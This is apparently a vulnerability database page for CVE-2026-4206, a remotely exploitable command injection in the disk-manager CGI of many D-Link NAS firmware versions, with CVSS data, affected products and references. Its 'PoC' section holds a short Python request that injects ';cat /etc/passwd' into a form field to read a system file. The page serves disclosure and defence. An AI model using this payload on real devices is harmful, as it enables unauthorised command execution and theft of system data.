CVE-2026-4206

Description

A vulnerability was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. This affects the function FMT_rebuild_diskmgr/FMT_create_diskmgr/ScanDisk_run_e2fsck of the file /cgi-bin/dsk_mgr.cgi. Performing a manipulation results in command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-202l:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dnr-326_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-326:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1100-4_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1100-4:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1200-05_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1200-05:-:*:*:*:*:*:*:* - NOT VULNERABLE

DNS-120 < 20260205

DNR-202L < 20260205

DNS-315L < 20260205

DNS-320 < 20260205

DNS-320L < 20260205

DNS-320LW < 20260205

DNS-321 < 20260205

DNR-322L < 20260205

DNS-323 < 20260205

DNS-325 < 20260205

DNS-326 < 20260205

DNS-327L < 20260205

DNR-326 < 20260205

DNS-340L < 20260205

DNS-343 < 20260205

DNS-345 < 20260205

DNS-726-4 < 20260205

DNS-1100-4 < 20260205

DNS-1200-05 < 20260205

DNS-1550-04 < 20260205

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = 'http://target-ip/cgi-bin/dsk_mgr.cgi'
payload = {'func': 'FMT_rebuild_diskmgr', 'disk': ';cat /etc/passwd'}
response = requests.post(target, data=payload, auth=('user', 'pass'))
print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4206
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4206
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4206/
[4] VulDB https://vuldb.com/cve/CVE-2026-4206
[5] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_138/138.md
[6] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_139/139.md
[7] https://vuldb.com/?ctiid.351118
[8] https://vuldb.com/?id.351118
[9] https://vuldb.com/?submit.770417
[10] https://vuldb.com/?submit.770418
[11] https://vuldb.com/?submit.770419
[12] https://www.dlink.com/

Raw JSON Data

JSON

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The exploit has been made public and could be used."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. Esto afecta a la función FMT_rebuild_diskmgr/FMT_create_diskmgr/ScanDisk_run_e2fsck del archivo /cgi-bin/dsk_mgr.cgi. Realizar una manipulación resulta en inyección de comandos. El ataque es posible de ser llevado a cabo remotamente. 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